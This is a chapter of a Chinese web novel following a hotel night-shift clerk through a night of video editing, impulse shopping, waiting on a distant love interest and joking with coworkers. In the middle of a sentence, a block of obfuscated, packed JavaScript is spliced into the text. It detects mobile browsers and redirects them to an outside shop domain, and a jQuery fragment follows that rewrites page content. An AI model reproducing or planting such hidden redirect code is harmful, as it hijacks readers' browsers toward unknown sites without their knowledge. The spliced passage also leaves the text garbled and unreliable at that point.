下午五点半，林深醒来的第一件事是看手机。微信没有消息，她已经快习惯了。宋青瓷最近像天气一样，出现和消失都没有规律，有时候连续聊几天，有时候突然失踪一周，最离谱的是每次她快习惯的时候，对方又会出现。她盯着聊天框看了两秒，退出去，然后点开了另一个软件——12306，页面还停留在昨晚的搜索记录：上海虹桥到北京南。
林深自己都愣了一下。昨晚她什么时候搜的？想了半天才想起来，好像是凌晨四点多，视频刚发完，客人不多，她随手搜了一下。随手——她对自己这个理由很满意，于是又搜了一遍。高铁四个半小时，机票两个小时，价格从几百到一千多不等。她看了一会儿，关掉，又打开，又关掉。
来福坐在旁边看她。林深低头。
“看什么？”
来福摇尾巴。
“我没想去。”
来福继续摇尾巴。
“真的。”
来福开始拆狗玩具。林深沉默了两秒。
“好吧，有一点。”
狗当然听不懂，但承认以后，人会舒服很多。
晚上八点四十，林深到酒店。Jason已经在前台了，看见她进来，随手把交班本递过去。
“今天来得挺早。”
“路上不堵。”
Jason看她一眼。
“没睡好？”
“为什么这么问？”
“你看起来像在思考人生。”
林深接过交班本。
“没有。”
Jason点点头。
“那就是在想男人。”
林深没说话，Jason笑着走了。她发现酒店这帮人都有一个特点——平时不说话，一开口就特别烦。
九点以后开始忙，入住、续住、Walk-in、电话、机器人送水，夜班日复一日。林深已经越来越熟悉这种节奏，以前遇到客人投诉她会紧张，现在不会了，不是不怕，是知道怎么处理，流程像一条固定轨道，沿着走就行。
十一点半，大厅安静下来，Jason坐在旁边核对报表，林深打开剪辑软件。后台播放量比昨天又高了一点，评论区多了很多重复出现的头像，她开始记住一些名字。有个头像是只橘猫，连续三天都来；有个头像是夜班保安，每天凌晨留言；还有个头像特别简单，纯黑色，什么都没有，昨天留言问“今天更新吗”，今天留言写的是“上班呢？”林深看着那句话笑了一下。
Jason抬头。
“什么事这么开心？”
“没有。”
“涨粉了？”
“有一点。”
“请客。”
“为什么？”
“因为我先发现的。”
林深无语。
“涨粉和你有什么关系？”
“我参与了。”
“你参与什么了？”
Jason认真想了想。
“背景板。”
林深笑出声。
凌晨一点，视频导出、上传、等待审核、等待播放、等待评论、等待数据。她发现自己越来越喜欢这种感觉——很奇怪，以前她等的是消息，现在开始等播放量，虽然本质都是等待，但至少视频不会故意消失。
凌晨两点，大厅彻底安静。林深打开淘宝，本来只是想买一根数据线，结果二十分钟以后购物车里出现了两根数据线、一个磁吸支架、一个手机壳、一个狗零食礼盒，还有一个根本不知道买来干嘛的桌面收纳盒。她自己都看笑了，删掉又加回来，删掉又加回来，最后全部付款。付款成功，林深满意了。
Jason刚好路过。
“买什么了？”
“没什么。”
“没什么为什么笑这么开心？”
“消费使人快乐。”
Jason看了一眼屏幕。
“又买数据线？”
“数据线是消耗品。”
“你上个月也这么说。”
林深理直气壮。
“因为它确实是。”
Jason懒得跟她争，转身走了。林深继续刷，刷着刷着又打开游戏，签到、领体力、抽卡——没出货，又抽一次，还是没出。林深盯着屏幕，五分钟后648当然没有，但月卡买了，战令也买了。买完以后她非常满意，然后心安理得地继续上班。
凌晨三点，视频开始跑流量，评论区不断刷新，林深低头看着后台。手机突然震动，微信，宋青瓷。心脏还是会快一下，很诚实。她点开。
“没睡？”
和上次差不多，三个字。林深盯着看了两秒，回复“上班”，发完以后顺手把手机放到一边，没有再一直盯着聊天框，因为后台又多了一条评论：“你今天更新比昨天早。”林深回了一句“今天不忙”，发完以后她忽然愣了一下——以前她不会回复评论，现在开始回复了，好像这些陌生人正在慢慢从数字变成人。
凌晨四点，宋青瓷终于回消息。
“最近一直夜班？”
“嗯。”
“累吗？”
“还好。”
还是和以前一样，简短，克制，隔着屏幕看不出情绪。林深忽然打开浏览器搜机票，上海到北京。她自己都不知道为什么，可能因为他刚发来消息，可能因为她本来就在想，也可能两者都有。机票页面跳出来的时候，Jason从后面拿着水杯经过，余光扫了一眼。
“要出门？”
林深立刻关掉。
“没有。”
Jason
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17719645|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看她。
“那你看机票干嘛？”
林深没说话。Jason喝了口水。
“北京？”
林深还是没说话。Jason点点头。
“懂了。”
“你懂什么了？”
“想男人。”
林深想把水杯抢过来砸他，Jason已经笑着走了。
早上八点五十五，交班时间快到了。林深困得眼睛都快睁不开，她把入住单整理好，报表归档，交班本放回原位。九点整，办公室门开了，Jessica来了——职业装，高跟鞋，手机剩百分之三。她径直走到前台。
“充电器。”
林深已经形成条件反射，从包里摸出自己的氮化镓充电器递过去。Jessica拿走，转身进办公室，全程不到五秒，像完成一项工作流程。
九点十分，林深换完衣服准备下班，Jessica忽然又出来了，手里拿着那个充电器，眉头皱着。
“林深。”
“嗯？”
“这个怎么充电？”
林深愣住。
“什么？”
Jessica把充电器翻过来，特别认真。
“两个都是充电口。”
空气安静了两秒，林深突然清醒了一点。
“不是。”
Jessica低头看看。
“是。”
“那个不是充电口。”
“它长一样。”
“那是输出口。”
“也是C口。”
“手机那个是输入。”
Jessica沉默。林深拿起桌上的C to C线插进去，手机亮了。Jessica看着，又看了看充电器，又看了看手机，仿佛刚接触新物种。几秒后。
“哦。”
然后拿着充电器走了，没有尴尬，没有解释，没有任何情绪，只是学会了。办公室门重新关上，前台安静下来。Jason站在旁边，目睹了全过程，两个人谁都没说话。过了十几秒，Jason忽然低头开始疯狂咳嗽。林深看着他。
“你笑什么？”
Jason摆手。
“没有。”
“你有。”
“没有。”
“你绝对有。”
Jason终于忍不住转过身，肩膀一直在抖。林深也笑了，笑得眼睛都眯起来。阳光从酒店大门照进来，落在光滑的大理石地面上。宋青瓷没有再发消息，机票还在浏览记录里，游戏月卡刚刚续费，购物车已经清空，视频播放量又涨了一点，Jessica学会了怎么给充电器充电。林深忽然觉得，生活好像就是这样，乱七八糟，鸡零狗碎，有时候让人想笑，有时候让人难受，但它一直在往前走。